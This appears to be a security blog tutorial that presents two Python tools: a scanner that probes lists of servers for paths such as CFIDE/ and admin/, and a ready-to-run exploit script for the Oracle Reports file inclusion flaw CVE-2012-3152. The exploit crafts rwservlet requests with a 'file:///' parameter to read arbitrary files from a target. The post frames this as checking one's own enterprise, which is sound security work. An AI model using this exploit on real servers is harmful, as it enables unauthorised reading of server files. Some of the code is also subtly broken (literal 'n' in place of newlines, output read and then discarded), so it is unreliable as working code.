Amazing-Spider-Man

Web applications are very complex technologies with new vulnerabilities emerging all the time.  Often times the exploit Proof of Concept(PoC) code can be released before scanning and exploitation tools have checks for the vulnerability.  In this instance, it’s beneficial to spin up your own tool to check for the vulnerability across your enterprise.

In Part 1 of Web Slinging with Python we showed how to make a basic web request.  This blog post will demonstrate two more advanced use cases for leveraging Python:

  • Checking for specific resources against a list of servers
  • Exploiting a Local File Inclusion (LFI) vulnerability in Oracle reports.

 

Web Scanning:

This quick python script will accept a list of URLs pulled in from a file with switch “-i”, a list of requests to make pulled in from a file with switch “-r”, and an optional search string specified at the CLI with switch “-s”:

$ python sling.py -h
Usage: sling.py -i <file_with URLs> -r  -s [optional]

Options:
  -h, --help    show this help message and exit
  -i SERVERS    specify target file with URLs
  -r RESOURCES  specify a file with resources to request
  -s SEARCH     [optional] Specify a search string -s

The format of the files should be as follows – File with URLs ‘http://www.google.com/’ per line, and file with requests ‘request/’ per line. Example:
reqs:
CFIDE/
admin/
tmp/

Here is an example of invoking the script without a search term:

$ python sling.py -i URLs -r reqs
[+] URL: http://www.google.com/CFIDE/ [404]
[+] URL: http://www.google.com/admin/ [404]
[+] URL: http://www.google.com/tmp/ [404]
[+] URL: http://www.yahoo.com/CFIDE/ [404]
[+] URL: http://www.facebook.com/CFIDE/ [404]
[+] URL: http://www.facebook.com/admin/ [404]
[+] URL: http://www.facebook.com/tmp/ [404]

Now when making these requests, you may want to define a search term to reduce the amount of false positives you have to go through. For example, if you are requesting “/CFIDE/administrator/enter.cfm” you may want to check if “CFIDE”, or ‘.cfm’ is on the page to help reduce false positives. Below is an example of using the script with a search term:

$ python sling.py -i URLs -r reqs -s google
[+] URL: http://www.google.com/CFIDE/ [404] Found: 'google' in ouput
[+] URL: http://www.google.com/admin/ [404] Found: 'google' in ouput
[+] URL: http://www.google.com/tmp/ [404] Found: 'google' in ouput

As you can see only requests that contained the string ‘google’ were displayed to STDOUT. This is one example of how powerful Python can be to make a quick checker script to look for various web resources. You could take this a step further and search for version numbers and output vulnerable versions of web servers.  The full script is available at the end of the blog post.

 

Automating Web Application Attacks:

A few months back a security researcher NI @root posted exploit details for a Local File Inclusion (LFI) vulnerability in Oracle Reports.  At the time only PoC code existed and the exploit and vulnerability checks weren’t in any tools.  This is a perfect use case to spin up a quick script to check across some Oracle Reports web servers.  The exploit allowed you to get a local resource on the web server by sending the following request – you can specify the file or directory you are interested in after the “file:///”:

request = '/reports/rwservlet?report=test.rdf+desformat=html+destype=cache+JOBTYPE=rwurl+URLPARAMETER="file:///'

Below is a quick Python script that can be invoked with the following syntax:

$ python pwnacle.py <server> <resource>  

 

pwnacle.py:

#######################################
# pwnacle.py - Exploits CVE-2012-3152 #
# Oracle Local File Inclusion (LFI)   #
#######################################

import urllib, sys, ssl, inspect
exec inspect.getsource(ssl.wrap_socket).replace("PROTOCOL_SSLv23","PROTOCOL_SSLv3") in dict(inspect.getmembers(ssl.wrap_socket))["func_globals"]
import socket

server = sys.argv[1]      # Assigns first argument given at the CLI to 'server' variable
dir = sys.argv[2]         # Assigns second argument given at the CLI to 'dir' variable
ip = server.split('/')[2] # formats the server by splitting the string based on the '/' which grabs the IP out of 'http://ip/'
req = '/reports/rwservlet?report=test.rdf+desformat=html+destype=cache+JOBTYPE=rwurl+URLPARAMETER="file:///' #request format to exploit the vulnerability

print "Sending Request: "+server+req+dir+'"'

if 'http://' in server: # Use urllib module for http -- self signed SSL certs caused an exception with urllib
        try:
                conn = urllib.urlopen(server+req+dir+'"') # Sent the request to the server
                out = conn.readlines()
                for item in conn:
                        print item.strip()
        except Exception as e:
                print e

if 'https://' in server:  # Create web request with ssl module
        try:
                conn = ssl.wrap_socket(socket.create_connection((ip, 443)))
                request = 'GET '+req+dir+'"'+' HTTP/1.1'+'n'
                request += 'Host: '+ip+'n'
                request += 'User-Agent: Mozilla/5.0 '+'n'
                request += 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'+'n'
                request += 'Accept-Language: en-US,en;q=0.5'+'n'
                request += 'Accept-Encoding: gzip, deflate'+'n'
                request += 'Connection: keep-alive'+'n'
                conn.send(request+'n')
                print conn.recv()
                print conn.recv(20098)

        except Exception as e:
                print e

 

Sling.py:

#####################################
# sling.py - checks for resources   #
# Can seach for string in response  #
#####################################

from bs4 import BeautifulSoup
import sys, optparse, socket
from urllib import urlopen

class Colors:
        RED = '\033[91m'
        GREEN = '\033[92m'

def webreq(server, resources): 						# Function takes in URL, and resources variable which contains the requests
        try:
                resource = []
                for item in open(resources, 'r'):			# Loop through the resource file
                        resource.append(item.strip())			# Append each item in the file to the array
                for item in resource:					# Loop through the array and create a request for each item in the array
                        s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                        s.settimeout(5)					# set a timeout on the socket connection
                        url = server.strip()+item.strip()		# Format the url variable to store the request: "http://www.site.com/CFIDE/administrator/enter.cfm"
                        request = urlopen(url)				# Make the request
                        if search:					# If the "search" variable is true (-s)
                                parsed = BeautifulSoup(request.read(), "lxml")	# Parse the output with BeautifulSoup
                                if search in str(parsed):			# If the search string is in the output print the next line
                                        print Colors.GREEN+"[+] URL: "+url+" ["+str(request.getcode())+"] Found: '"+search+"' in ouput"
                        elif request.getcode() == 404:				# If we got an HTTP status code
                                print Colors.RED+"[+] URL: "+url+" ["+str(request.getcode())+"]"	# Print the URL and status code
			elif request.getcode():
				print Colors.GREEN+"[+] URL: "+url+" ["+str(request.getcode())+"]"

        except:pass

def main():
# Creates CLI switches and stores in variables
        parser = optparse.OptionParser(sys.argv[0]+' '+ 
        '-i <file_with URLs> -r  -s [optional]')
        parser.add_option('-i', dest='servers', type='string', help='specify target file with URLs')
        parser.add_option('-r', dest='resources', type='string', help='specify a file with resources to request')
        parser.add_option('-s', dest='search', type='string', help='[optional] Specify a search string -s ')
        (options, args) = parser.parse_args()
        servers=options.servers
        resources=options.resources
        global search; search=options.search

        if (servers == None) and (resources==None):        		# Checks to make sure proper CLI switches were given
                print parser.usage					# if not print usage
                sys.exit(0)

        if servers:
                for server in open(servers, 'r'):			# loop through each URL in the file
                        webreq(server, resources)			# Invoke the webreq function

if __name__ == "__main__":
      main()